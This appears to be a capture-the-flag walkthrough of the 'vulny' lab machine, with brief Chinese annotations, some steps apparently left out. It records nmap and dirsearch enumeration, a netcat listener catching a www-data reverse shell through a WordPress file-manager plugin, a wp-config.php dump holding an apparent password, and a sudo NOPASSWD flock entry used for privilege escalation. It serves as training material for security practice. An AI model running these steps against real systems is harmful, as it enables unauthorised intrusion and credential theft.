┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.240.139 sh:0: getcwd() failed: No such file or directory Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-0116:32 CST Nmap scan report for 192.168.240.139 (192.168.240.139) Host is up (0.0026s latency). Not shown:999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: B2:A7:1A:3F:30:A9 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop
TRACEROUTE HOP RTT ADDRESS 12.61 ms 192.168.240.139 (192.168.240.139)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in8.33 seconds
┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u 192.168.240.139 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
<!DOCTYPE HTMLPUBLIC"-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access this resource.</p> <hr> <address>Apache/2.4.41 (Ubuntu) Server at 192.168.240.139 Port 80</address> </body></html>
javascript这个目录没有权限
1 2 3
┌──(root㉿kakeru)-[~/tmp] └─# curl http://192.168.240.139/secret/ Neither <b>/etc/wordpress/config-192.168.240.139.php</b> nor <b>/etc/wordpress/config-168.240.139.php</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username.
┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u 192.168.240.139/secret/ /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kakeru)-[~/tmp] └─# nc -lp1234 id bash: cannot set terminal process group (650): Inappropriate ioctl for device bash: no job control in this shell <ress/wp-content/plugins/wp-file-manager/lib/files$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) <ress/wp-content/plugins/wp-file-manager/lib/files$
www-data@vulny:/usr/share/wordpress$ cat wp-config.php cat wp-config.php <?php /*** * WordPress's Debianised default master config file * Please do NOT edit and learn how the configuration works in * /usr/share/doc/wordpress/README.Debian ***/
/* Look up a host-specific config file in * /etc/wordpress/config-<host>.php or /etc/wordpress/config-<domain>.php */ $debian_server = preg_replace('/:.*/', "", $_SERVER['HTTP_HOST']); $debian_server = preg_replace("/[^a-zA-Z0-9.\-]/", "", $debian_server); $debian_file = '/etc/wordpress/config-'.strtolower($debian_server).'.php'; /* Main site in case of multisite with subdomains */ $debian_main_server = preg_replace("/^[^.]*\./", "", $debian_server); $debian_main_file = '/etc/wordpress/config-'.strtolower($debian_main_server).'.php';
if (file_exists($debian_file)) { require_once($debian_file); define('DEBIAN_FILE', $debian_file); } elseif (file_exists($debian_main_file)) { require_once($debian_main_file); define('DEBIAN_FILE', $debian_main_file); } elseif (file_exists("/etc/wordpress/config-default.php")) { require_once("/etc/wordpress/config-default.php"); define('DEBIAN_FILE', "/etc/wordpress/config-default.php"); } else { header("HTTP/1.0 404 Not Found"); echo"Neither <b>$debian_file</b> nor <b>$debian_main_file</b> could be found. <br/> Ensure one of them exists, is readable by the webserver and contains the right password/username."; exit(1); }
/* idrinksomewater */
/* Default value for some constants if they have not yet been set by the host-specific config files */ if (!defined('ABSPATH')) define('ABSPATH', '/usr/share/wordpress/'); if (!defined('WP_CORE_UPDATE')) define('WP_CORE_UPDATE', false); if (!defined('WP_ALLOW_MULTISITE')) define('WP_ALLOW_MULTISITE', true); if (!defined('DB_NAME')) define('DB_NAME', 'wordpress'); if (!defined('DB_USER')) define('DB_USER', 'wordpress'); if (!defined('DB_HOST')) define('DB_HOST', 'localhost'); if (!defined('WP_CONTENT_DIR') && !defined('DONT_SET_WP_CONTENT_DIR')) define('WP_CONTENT_DIR', '/var/lib/wordpress/wp-content');
/* Default value for the table_prefix variable so that it doesn't need to be put in every host-specific config file */ if (!isset($table_prefix)) { $table_prefix = 'wp_'; }
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') $_SERVER['HTTPS'] = 'on';
sudo -l MatchingDefaults entries for adrian on vulny: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User adrian may run the following commands on vulny: (ALL : ALL) NOPASSWD: /usr/bin/flock
